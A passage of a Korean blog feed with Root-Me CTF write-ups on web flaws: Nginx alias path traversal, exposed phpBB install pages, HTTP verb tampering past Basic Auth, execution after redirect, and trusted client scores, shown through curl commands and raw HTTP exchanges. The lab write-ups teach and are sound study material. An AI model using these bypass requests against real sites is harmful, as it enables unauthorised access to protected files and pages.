&lt;pre id=&quot;code_1751899685209&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ curl -X GET http://challenge01.root-me.org:59092/assets/

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Index of /assets/&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Index of /assets/&amp;lt;/h1&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;a href=&quot;../&quot;&amp;gt;../&amp;lt;/a&amp;gt;
&amp;lt;/pre&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/assets/ 경로 자체에는 파일이 없으나 경로 조작 기법 중 하나인 &lt;b&gt;Off-By-Slash&lt;/b&gt; 취약점을 의심하여 /assets../ 경로로 접근을 시도했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl을 통해 /assets../ 경로에 요청하자 정상적인 /assets/가 아닌 상위 디렉토리 혹은 의도하지 않은 경로로 접근되는 현상을 발견했습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751899701879&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ curl -X GET http://challenge01.root-me.org:59092/assets../

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Index of /assets../&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Index of /assets../&amp;lt;/h1&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;a href=&quot;../&quot;&amp;gt;../&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;assets/&quot;&amp;gt;assets/&amp;lt;/a&amp;gt;                                            24-Oct-2024 12:25                   -
&amp;lt;a href=&quot;static/&quot;&amp;gt;static/&amp;lt;/a&amp;gt;                                            24-Oct-2024 12:25                   -
&amp;lt;a href=&quot;flag.txt&quot;&amp;gt;flag.txt&amp;lt;/a&amp;gt;                                           04-Sep-2024 12:20                  25
&amp;lt;/pre&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;상위 경로의 디렉토리 목록과 함께 &lt;/span&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;1&quot;&gt;flag.txt&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;파일이 노출되는 것을 확인하였습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1751899726880&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -X GET http://challenge01.root-me.org:59092/assets../flag.txt
[Flag]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과적으로 경로 우회 + 디렉토리 인덱싱 취약점이 결합되어 인증 없이 중요한 파일(flag.txt)에 접근할 수 있는 심각한 보안 문제로 작용했습니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/306</guid>
      <comments>https://jangto.tistory.com/entry/Nginx-Alias-Misconfiguration#entry306comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:49:00 +0900</pubDate>
    </item>
    <item>
      <title>Install files</title>
      <link>https://jangto.tistory.com/entry/Install-files</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버는 응답할 때 클라이언트의 성능 향상을 위해 ETag 기반 캐시 처리를 수행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트가 If-None-Match 헤더를 포함하여 요청하면 서버는 ETag 값이 동일할 경우 304 Not Modified를 반환하며 본문을 생략하지만 이 캐시 제어는 Burp Suite 등의 도구를 통해 쉽게 우회할 수 있고 그로 인해 평소 브라우저에서는 보이지 않던 HTML 주석 내 내부 경로나 민감 정보가 노출될 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ 캐시 포함 요청&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;GET /web-serveur/ch6/ HTTP/1.1
Host: challenge01.root-me.org
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
If-None-Match: W/&quot;61b3b5d9-21&quot;
Connection: keep-alive
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ 캐시 포함 응답&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;HTTP/1.1 304 Not Modified
Server: nginx
Date: Sun, 06 Jul 2025 16:05:44 GMT
Last-Modified: Fri, 10 Dec 2021 20:17:29 GMT
Connection: keep-alive
ETag: &quot;61b3b5d9-21&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 캐시된 페이지를 그대로 사용하며 본문은 전송되지 않습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ If-None-Match 헤더 제거 후 재요청&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;GET /web-serveur/ch6/ HTTP/1.1
Host: challenge01.root-me.org
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ If-None-Match 헤더 제거 후 응답&lt;/p&gt;
&lt;pre class=&quot;http&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2025 16:07:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
ETag: W/&quot;61b3b5d9-21&quot;
Content-Length: 33

&amp;lt;!--  /web-serveur/ch6/phpbb --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML 주석을 통해 내부 디렉토리 구조(phpbb)가 노출되는걸 확인할 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/web-serveur/ch6/phpbb 접근 시 301 Moved Permanently &amp;rarr; /phpbb/ 리디렉션 발생&lt;/li&gt;
&lt;li&gt;/phpbb/install/index.php &amp;rarr; 404 Not Found 발생 (경로 부재)&lt;/li&gt;
&lt;li&gt;/phpbb/install/로 접근 &amp;rarr; Directory indexing 취약점으로 구조 노출&lt;/li&gt;
&lt;li&gt;install.php 존재 확인 &amp;rarr; 해당 파일 접속&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;install.php 접속 시 출력된 메시지를 플래그가 다음과 같이 표시됩니다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;Bravo, vous venez de decouvrir une des nombreuses failles de phpBB.

Cette faille est en fait un oubli du Webmaster qui aurait du enlever
ces dossiers. Ils contiennent les pages d'installations du forum phpbb.
Ce genre de chose n'existe plus car les d&amp;eacute;veloppeurs mettent en place des
syst&amp;egrave;mes de v&amp;eacute;rification pour faciliter la t&amp;acirc;che aux plus t&amp;ecirc;tes en l'air
Ce qu'il faut comprendre par contre c'est qu'on d&amp;eacute;couvre souvent beaucoup de choses
en trifouillant des URL...
Gr&amp;acirc;ce &amp;agrave; elles, vous pouvez remettre &amp;agrave; z&amp;eacute;ro le forum, et changer tous les passwords
administrateur, &amp;eacute;tant donn&amp;eacute; que vous reinitialisez le forum.
Vous avez donc ensuite un contr&amp;ocirc;le total du forum !!

Le mot de passe pour valider est : [flag]

Bon courage !
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/305</guid>
      <comments>https://jangto.tistory.com/entry/Install-files#entry305comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:46:50 +0900</pubDate>
    </item>
    <item>
      <title>HTTP - Verb tampering</title>
      <link>https://jangto.tistory.com/entry/HTTP-Verb-tampering</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속 시 기본 인증(Basic Auth) 창이 표시되어 인증이 필요한 페이지임을 확인하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 Burp Suite를 통해 분석한 결과 HTTP 요청/응답을 아래와 같이 확인할 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ 요청&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;GET /web-serveur/ch8/ HTTP/1.1
Host: challenge01.root-me.org
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ 응답&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;HTTP/1.1 401 Unauthorized
Server: nginx
Date: Sun, 06 Jul 2025 15:25:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
WWW-Authenticate: Basic realm=&quot;My Realm&quot;
Content-Length: 646

&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;401 Authorization Required&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /&amp;gt;&amp;lt;iframe id='iframe' src='https://www.root-me.org/?page=externe_header'&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;h1&amp;gt;Authorization Required&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.&amp;lt;/p&amp;gt;
&amp;lt;hr/&amp;gt;
&amp;lt;address&amp;gt;Apache Server at challenge01.root-me.org Port 80&amp;lt;/address&amp;gt;

&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WWW-Authenticate 헤더는 서버가 클라이언트에게 Basic 인증을 요구함을 의미합니다. 이는 인증 우회 여부를 판단할 수 있는 핵심 지표입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제명이 &quot;HTTP - Verb Tampering&quot;인 점을 참고하여 특정 메서드(GET) 에만 인증이 적용되고 다른 HTTP 메서드는 우회 가능할 가능성을 가정했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 다양한 HTTP 메서드(POST, HEAD, OPTIONS, PUT, DELETE 등)를 이용해 요청을 시도하였습니다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;curl -X HEAD http://challenge01.root-me.org/web-serveur/ch8/ -i
curl -X POST http://challenge01.root-me.org/web-serveur/ch8/ -i
curl -X OPTIONS http://challenge01.root-me.org/web-serveur/ch8/ -i&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GET을 제외한 다른 HTTP 메서드로 요청한 결과 401 Unauthorized가 발생하지 않고 페이지 접근에 성공하는 것을 확인했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;565&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sKLvf/btsO9tq3SWu/QWKSd0YCtOoVqFaA7eAfB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sKLvf/btsO9tq3SWu/QWKSd0YCtOoVqFaA7eAfB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sKLvf/btsO9tq3SWu/QWKSd0YCtOoVqFaA7eAfB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsKLvf%2FbtsO9tq3SWu%2FQWKSd0YCtOoVqFaA7eAfB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1101&quot; height=&quot;565&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;565&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 서버가 GET 요청에만 인증을 강제하고 다른 메서드에 대해서는 적절한 접근 제어를 적용하지 않은 것으로 해석할 수 있습니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/304</guid>
      <comments>https://jangto.tistory.com/entry/HTTP-Verb-tampering#entry304comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:45:45 +0900</pubDate>
    </item>
    <item>
      <title>HTTP - Improper redirect</title>
      <link>https://jangto.tistory.com/entry/HTTP-Improper-redirect</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Working through problems&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Burp Suite를 통해 login.php로 ID와 비밀번호를 입력 후 POST 요청을 전송하고 응답을 확인했습니다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;✅&lt;/span&gt; 요청&lt;/p&gt;
&lt;pre id=&quot;code_1751899226779&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /web-serveur/ch32/login.php HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 18
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Origin: http://challenge01.root-me.org
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge01.root-me.org/web-serveur/ch32/login.php?redirect
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

login=1&amp;amp;password=1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;응답&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1751899245458&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2025 08:59:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 473

&amp;lt;html&amp;gt;

&amp;lt;body&amp;gt;&amp;lt;link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /&amp;gt;&amp;lt;iframe id='iframe' src='https://www.root-me.org/?page=externe_header'&amp;gt;&amp;lt;/iframe&amp;gt;

&amp;lt;p&amp;gt;Authentication Failed&amp;lt;/p&amp;gt;
&amp;lt;form method=&quot;post&quot; name=&quot;form&quot; action=&quot;login.php&quot;&amp;gt;
    &amp;lt;p&amp;gt;Login : &amp;lt;input type=&quot;text&quot; name=&quot;login&quot; &amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;Password : &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; &amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Log in&quot; &amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;/body&amp;gt;

&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;응답 본문에서&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot; data-token-index=&quot;1&quot;&gt;&quot;Authentication Failed&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;라는 메시지를 확인되어 정상적인 로그인 흐름을 확인했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약점 추정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 실패 시 login.php?redirect로 리디렉션이 발생한다는 점을 확인하고 로그인 성공 시 index.php로 이동할 것이라 추정할 수 있으니 인증 없이 브라우저에서 직접 index.php에 접근하자 아래와 같은 흐름이 발생했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1174&quot; data-origin-height=&quot;271&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yXfr8/btsO9Ap3l2E/b4hSW8gHLVDyQ7441k1n2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yXfr8/btsO9Ap3l2E/b4hSW8gHLVDyQ7441k1n2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yXfr8/btsO9Ap3l2E/b4hSW8gHLVDyQ7441k1n2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyXfr8%2FbtsO9Ap3l2E%2Fb4hSW8gHLVDyQ7441k1n2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1174&quot; height=&quot;271&quot; data-origin-width=&quot;1174&quot; data-origin-height=&quot;271&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;브라우저 상에서는 정상적으로 로그인 페이지로 리디렉션됩니다.&lt;/li&gt;
&lt;li&gt;응답 코드가 302이기 때문에 혹시 코드 실행이 중단되지 않고 이어졌을 가능성을 의심할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Burp Suite 확인&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 요청을 Burp Suite로 가로채고 확인해보니 아래와 같은 302 응답이 있었고 그 본문에 index.php 페이지의 실제 HTML 내용이 포함되어 있었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751899373122&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;HTTP/1.1 302 Found
Server: nginx
Date: Sun, 06 Jul 2025 15:13:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Location: ./login.php?redirect
Content-Length: 547

&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;&amp;lt;link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /&amp;gt;&amp;lt;iframe id='iframe' src='https://www.root-me.org/?page=externe_header'&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;h1&amp;gt;Welcome !&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;Yeah ! The redirection is OK, but without exit() after the header('Location: ...'), PHP just continue the execution and send the page content !...&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/698.html&quot;&amp;gt;CWE-698: Execution After Redirect (EAR)&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;The flag is : [Flag]
&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;원인 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점은 아래와 같은 구조로 작성되었을 가능성이 높습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751899394714&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
...
if (!$isLoggedIn) {
    header(&quot;Location: login.php&quot;);
}
?&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot; /&amp;gt;
    &amp;lt;title&amp;gt;Index Page&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    ...
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;header()를 통해 리디렉션을 수행했지만, exit()을 호출하지 않아 코드가 계속 실행됩니다.&lt;/li&gt;
&lt;li&gt;브라우저는 302 Location만 따라가므로 문제가 잘 보이지 않지만 원응답을 보면 본문이 노출됩니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/303</guid>
      <comments>https://jangto.tistory.com/entry/HTTP-Improper-redirect#entry303comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:43:32 +0900</pubDate>
    </item>
    <item>
      <title>HTTP - POST</title>
      <link>https://jangto.tistory.com/entry/HTTP-POST</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지에서 &lt;b&gt;&quot;Give a try!&quot;&lt;/b&gt; 버튼을 클릭할 경우 Burp Suite로 요청을 가로채 보았을 때 다음과 같은 &lt;b&gt;POST 요청&lt;/b&gt;이 발생함을 확인할 수 있었습니다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;POST /web-serveur/ch56/ HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 35
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Origin: &amp;lt;http://challenge01.root-me.org&amp;gt;
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: &amp;lt;http://challenge01.root-me.org/web-serveur/ch56/&amp;gt;
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

score=427790&amp;amp;generate=Give+a+try%21&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청 본문은 score와 generate라는 두 개의 파라미터로 구성되어 있으며 여기서 score는 사용자의 점수를 나타냅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 클라이언트가 제출한 score 값을 기준으로 서버 내부적으로 관리하는 &quot;Machine 점수&quot;보다 높은지 여부를 판단해 응답을 반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 서버는 클라이언트가 전송하는 score 값을 신뢰하고 있으며 클라이언트 측 조작 여부에 대한 검증 로직이 존재하지 않습니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/302</guid>
      <comments>https://jangto.tistory.com/entry/HTTP-POST#entry302comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:38:28 +0900</pubDate>
    </item>
    <item>
      <title>HTTP - Headers</title>
      <link>https://jangto.tistory.com/entry/HTTP-Headers</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속하였을 때 위와 같은 문구가 출력되는데 해석해보면 Content만 보지 말라고 되어있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp Suite로 요청을 가로채서 분석한 결과 아래와 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Request&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1751898934485&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /web-serveur/ch5/ HTTP/1.1
Host: challenge01.root-me.org
Pragma: no-cache
Cache-Control: no-cache
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Response&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1751898979020&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2025 08:08:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Header-RootMe-Admin: none
Content-Length: 272

&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;&amp;lt;link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /&amp;gt;&amp;lt;iframe id='iframe' src='https://www.root-me.org/?page=externe_header'&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;p&amp;gt;Content is not the only part of an HTTP response!&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Header-RootMe-Admin은 HTTP 표준에는 존재하지 않는 Custom 헤더입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 이런 헤더는 특정 목적으로 서버 내부 로직에서 활용됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수정된 Request&lt;/li&gt;
&lt;/ul&gt;
